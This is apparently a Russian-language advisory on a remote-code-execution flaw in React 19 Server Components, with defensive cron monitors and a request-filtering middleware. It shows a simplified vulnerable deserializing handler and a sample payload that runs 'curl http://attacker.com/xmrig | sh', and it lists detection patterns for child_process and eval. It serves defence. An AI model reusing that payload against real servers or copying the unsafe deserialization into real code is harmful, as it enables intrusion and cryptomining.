React2Shell: Критическая RCE в React 19

// Уязвимый серверный компонент (УПРОЩЁННО)
// React Server Component в версиях 19.0.0 - 19.2.0

// Сервер принимает данные от клиента
async function handleRSCRequest(request) {
  const payload = await request.text();

  // УЯЗВИМОСТЬ: небезопасная десериализация
  const deserializedData = parseFlightStream(payload);

  // Выполнение функций из десериализованных данных
  const result = await deserializedData.execute();  // ❌ RCE!

  return result;
}

// Атакующий отправляет специально сформированный payload:
const maliciousPayload = {
  "$$typeof": Symbol.for("react.element"),
  "type": {
    "$$typeof": Symbol.for("react.module.reference"),
    "name": "child_process",  // Импорт опасного модуля
    "filename": "./exploit.js"
  },
  "props": {
    "children": [
      {
        "type": "exec",  // Выполнение команды
        "props": {
          "command": "curl http://attacker.com/xmrig | sh"  // 💀 Загрузка майнера
        }
      }
    ]
  }
};

# Установка fail2ban для защиты от атак
apt install fail2ban -y

# Настройка alerting для высокой загрузки CPU
cat > /etc/cron.hourly/cpu-monitor <<'EOF'
#!/bin/bash
CPU_USAGE=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
if (( $(echo "$CPU_USAGE > 80" | bc -l) )); then
  echo "High CPU usage: $CPU_USAGE%" | mail -s "CPU Alert" admin@example.com
fi
EOF
chmod +x /etc/cron.hourly/cpu-monitor

# Мониторинг новых процессов
cat > /usr/local/bin/process-monitor.sh <<'EOF'
#!/bin/bash
ps aux | grep -E "xmrig|miner|crypto" | mail -s "Suspicious Process" admin@example.com
EOF
chmod +x /usr/local/bin/process-monitor.sh

# Добавить в cron (каждые 30 минут)
echo "*/30 * * * * /usr/local/bin/process-monitor.sh" | crontab -

// middleware для логирования подозрительных запросов
import winston from 'winston';

const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'security.log' })
  ]
});

export function securityMiddleware(req, res, next) {
  // Логировать все RSC запросы
  if (req.headers['rsc'] === '1' || req.url.includes('/_flight')) {
    securityLogger.info({
      timestamp: new Date().toISOString(),
      type: 'RSC_REQUEST',
      ip: req.headers['x-forwarded-for'] || req.ip,
      userAgent: req.headers['user-agent'],
      url: req.url,
      method: req.method
    });
  }

  // Детектировать подозрительные паттерны
  const suspiciousPatterns = [
    /eval\(/i,
    /Function\(/i,
    /child_process/i,
    /__proto__/i
  ];

  const body = JSON.stringify(req.body);
  const isSuspicious = suspiciousPatterns.some(p => p.test(body));

  if (isSuspicious) {
    securityLogger.error({
      type: 'SUSPICIOUS_REQUEST',
      severity: 'CRITICAL',
      ip: req.ip,
      body: body.substring(0, 500)
    });
    return res.status(403).json({ error: 'Forbidden' });
  }

  next();
}